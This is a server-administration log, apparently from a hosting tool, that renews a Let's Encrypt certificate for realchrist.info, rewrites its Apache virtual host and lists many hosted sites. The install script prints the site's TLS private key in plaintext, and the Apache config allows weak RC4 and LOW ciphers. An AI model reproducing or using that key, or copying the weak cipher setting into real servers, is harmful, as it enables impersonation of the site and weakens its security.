JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-06-17 06:00:01: Establishing a connection
2026-06-17 06:00:02: Establishing a connection
2026-06-17 06:00:02: 

PUT: /tmp/pkp716073

#!/bin/bash
if [ -d "/var/www/realchrist_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-17 06:00:03: 

chmod 755 /tmp/pkp716073; /tmp/pkp716073; rm /tmp/pkp716073

2026-06-17 06:00:03: 


1


2026-06-17 06:00:04: Establishing a connection
2026-06-17 06:00:04: 

PUT: /tmp/pkp198595

#!/bin/bash
mkdir -p "/var/www/realchrist_www/.well-known/acme-challenge/"
cd "/var/www/realchrist_www/.well-known/acme-challenge/"
cat > Pn48j9FzhHJd2yUqxtGZtrBjvxRiHpZ5MpN0wIeNFY0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Pn48j9FzhHJd2yUqxtGZtrBjvxRiHpZ5MpN0wIeNFY0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Pn48j9FzhHJd2yUqxtGZtrBjvxRiHpZ5MpN0wIeNFY0
cat > Kii4b7dm4TT6dzYIBrrFqWTX9hJITOblPM9i0lLvtNo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Kii4b7dm4TT6dzYIBrrFqWTX9hJITOblPM9i0lLvtNo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Kii4b7dm4TT6dzYIBrrFqWTX9hJITOblPM9i0lLvtNo


2026-06-17 06:00:04: 

chmod 755 /tmp/pkp198595; /tmp/pkp198595; rm /tmp/pkp198595

2026-06-17 06:00:04: 




2026-06-17 06:00:13: Establishing a connection
2026-06-17 06:00:14: 

PUT: /tmp/pkp379941

#!/bin/bash
mkdir -p "/var/www/realchrist_www/.well-known/acme-challenge/"
cd "/var/www/realchrist_www/.well-known/acme-challenge/"
rm Pn48j9FzhHJd2yUqxtGZtrBjvxRiHpZ5MpN0wIeNFY0
rm Kii4b7dm4TT6dzYIBrrFqWTX9hJITOblPM9i0lLvtNo


2026-06-17 06:00:14: 

chmod 755 /tmp/pkp379941; /tmp/pkp379941; rm /tmp/pkp379941

2026-06-17 06:00:14: 




2026-06-17 06:00:14: Establishing a connection
2026-06-17 06:00:14: 

PUT: /tmp/pkp454819

#!/bin/bash
temp_file=$(mktemp)
TARGET=8df29f43e5e79f1c31041f6ee4962ae9.crt

cat > $temp_file <<'endmsg'
28:76:d6:a0:f6:e5:76:d7:20:db:ac:f2:ce:32:ee:63

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBVvnZEgy0fOhCTrFBYp/kxVeMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjE3MDUwMTQyWhcNMjYwOTE1MDUwMTQxWjAaMRgwFgYDVQQD
Ew9yZWFsY2hyaXN0LmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDIOYssqdJsAMOqhXnwb9IP/GAmN2GHudoeoPZhDaiEbmIylac6HrJROJNNSFLu
42PJe1Daj7scu/E+mXq8LMgEjV5LTgNV+AHJ1bsfKqb4cCCfK8hTNQk1eQzHJL00
TTCvhc0A5VZZvICBdwteLT84DzzxrMIGsTQcZVUfkOirQbi+EPcv2cUFCRm8Sk7Z
29kC4KRqn3NibqPKJP1eBW236tYdpEDzclLqZA1vEcr7ZpNSTnFdoc9ctom7IjBJ
FXZdBsdF5IcUXKh0uH+GyNicI8atHGF14dwlo+hnYca/v+vSIikS29W9YgMDDCP+
Z5ZGgDDZ2Nno3nSIz7fMlhazAgMBAAGjggIxMIICLTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU5vq7
1ULk/PfZdromGW7i+rO6bZgwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4+vfU
aPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmgg9yZWFsY2hyaXN0LmluZm+CE3d3dy5yZWFsY2hy
aXN0LmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4Yd
aHR0cDovL3lyMS5jLmxlbmNyLm9yZy85NS5jcmwwggELBgorBgEEAdZ5AgQCBIH8
BIH5APcAdgDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZ7UKnJi
AAAEAwBHMEUCIGU6eRAedCspWUMjuu2Na5WJc5piHkvmblqWgPSvZo90AiEAvMvN
Rtg38x6qX/syOSuAQuSgnysMJUqPrsaQgoQOlvMAfQAm42RuWGkhI7w0P0ckNZs3
ks0kWojYFdOTM/2ZGKtHIwAAAZ7UKnGVAAgAAAUAHrzENAQDAEYwRAIgR90KJaDL
V/06UiYuhSNGKn61Ja8/LZZZZX8LD48+iHkCIDqeuhiPKSwUIE5rYFKk8ly0V7XF
nYyCPnHGZsrCS31lMA0GCSqGSIb3DQEBCwUAA4IBAQCQ+7e4UDsKwuT1lDmZoRtB
vTNWjIqZTT/zv2VSPv6+rY8KM2QD8sLmNOUiTQIBd64igZwJmYOLzLsJJDqNQUgT
Kbgpn0TbbI5Gf3ICrpo/kbO0fKWO0U5LCM4TkFXsPUZIMzXYgLxjxrGpNpsDvyZf
F2pchPwNa5+2AqOZVcWg1uwnWFgHmM+d7Y1NWbvQlYTsfwRO6AUKb6JbF7lwBrFo
+DjdVhB6rk05LnBX8bTJEq/4SfAczSHwipKdeRg22qM5kEkdKBJp1HajCcw2o9ye
I29CE84iymk22XDI/bNNXnFISoJYQXKZ33sqhIZ0vU6f3s4m0EEaZ2UozMprxpSf
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDIOYssqdJsAMOq
hXnwb9IP/GAmN2GHudoeoPZhDaiEbmIylac6HrJROJNNSFLu42PJe1Daj7scu/E+
mXq8LMgEjV5LTgNV+AHJ1bsfKqb4cCCfK8hTNQk1eQzHJL00TTCvhc0A5VZZvICB
dwteLT84DzzxrMIGsTQcZVUfkOirQbi+EPcv2cUFCRm8Sk7Z29kC4KRqn3NibqPK
JP1eBW236tYdpEDzclLqZA1vEcr7ZpNSTnFdoc9ctom7IjBJFXZdBsdF5IcUXKh0
uH+GyNicI8atHGF14dwlo+hnYca/v+vSIikS29W9YgMDDCP+Z5ZGgDDZ2Nno3nSI
z7fMlhazAgMBAAECggEAAae9RSjlYsmdZsTWtro0yACfLyZEMu1m5pKigjfj5tKn
pQXWsiTOZG7JFhmKv7AbsQE250HvWyGrej7KbZo+mVlSHyrSJmG3/OxhMSKyM/Um
fHXN14LTO06UF2SCSenmThCXUaATu5l3aH8oFfknW0hbQI0S2dbiL3kNjb2buRYh
UBxn+D10v0Qszsu7ULLSOYpRSy4TtW/cqaMDr9AjXTH1gGE4zjYnsxDlIQ+dyXGE
xxOPTVBi2irgZI5qlw50ZoulhFHBx4tmP9bTMZLgMyXo6BHtdhWK2+ARm9P2v0qX
5ooY56Iwe4kVVYwvSgcgKwy0BTgVZEFhev1l7MWBqQKBgQD6Pe3itHVqwqcYv3Yt
Mr7C6/9YHrmB+EctBuDBMFOhDpFFi3hZOHdqOCNvVnqyL9/uGOGxLY6067ziHFV0
w7iSc1vieTx1stpkayoN/JhwG+r2Jp54pHumN8QFeQml9ROQDvQC5H9v9EeY8J+z
FRfB5vJqGvwBNhBeENTFFDd8uQKBgQDM1Pv+AJub1VZB3tbYt2sWQY4LstTzkXDB
5IdY+2Mk1Hc9c44iQIRZwiNdWVfizJi7jmKMRWrgzaXsmt+hnPef1lb+VMd6Gi0k
b2GbXwXSB0ZSpPIqjxxkCbgrV3GbsV4zvRssfBQMaItwoBEe9xaytVd40WBjfY1x
3AqU0A+wywKBgE+neNpp8Nor3b6N61MVzQ0EzAHDve72FcnqX45/EI+6sFk/vO5B
gBlqhzUAhQvFG3WRq/2W7879HuGmfTkut8i+OahMSQd6B/Rg/ED5f5hn+pGh1121
lbpiE95eGckeyrxXViq5iysaydOP/HWnqClLlyxZLJBCIlGe7+tPtR3ZAoGAKbCz
9Xf0NByQ6OlNO2Dht+7x1Wm5tDWHCL/V2IOaI1XnSyeo50nQZmCASDC2FaBk+c+6
OSir30OcIPNIzyEeuXar0Co7S5vmUkMlT7VgfuYiJxIRhB4KvkXIKXIr2m+YZ9l2
nXBHuFrS/sJlmbLa+Na2Dg43myhj0Kfjs3RBrU8CgYAvnwjsNJG59PrbpGNVcn+U
3LWqO4nZqG21/G1Osc/jSzGVSY89OeUAAMcXM9uJfENDoR7NsWcOIHvQrIDvBNoJ
pzi9iefZww9bH3mmUDYcFj4WyJyegxB5MS1VlrQr+9dHmxXvHJzm0o3YbeczQT4r
lS8FTkisCruUsftIO51ouA==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-17 06:00:14: 

chmod 755 /tmp/pkp454819; /tmp/pkp454819; rm /tmp/pkp454819

2026-06-17 06:00:14: 


dir=/etc/ssl/certs


2026-06-17 06:00:14: 

PUT: /tmp/pkp380835

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/realchrist_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-17 06:00:14: 

chmod 755 /tmp/pkp380835; /tmp/pkp380835; rm /tmp/pkp380835

2026-06-17 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realchrist_www_info.conf 43

<VirtualHost *:80>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-17 06:00:14: 

PUT: /tmp/pkp880893

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=realchrist_www_info.conf
TARGET=/etc/apache2/sites-enabled/realchrist_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/realchrist_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/realchrist_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/realchrist_www_info.conf= 1'
fi


2026-06-17 06:00:14: 

chmod 755 /tmp/pkp880893; /tmp/pkp880893; rm /tmp/pkp880893

2026-06-17 06:00:14: 




2026-06-17 06:00:14: 

PUT: /tmp/pkp110097

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-17 06:00:14: 

chmod 755 /tmp/pkp110097; /tmp/pkp110097; rm /tmp/pkp110097

2026-06-17 06:00:14: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-17 06:00:14: Establishing a connection
2026-06-17 06:00:14: 

PUT: /tmp/pkp831663

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-17 06:00:14: 

chmod 755 /tmp/pkp831663; /tmp/pkp831663; rm /tmp/pkp831663

2026-06-17 06:00:14: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
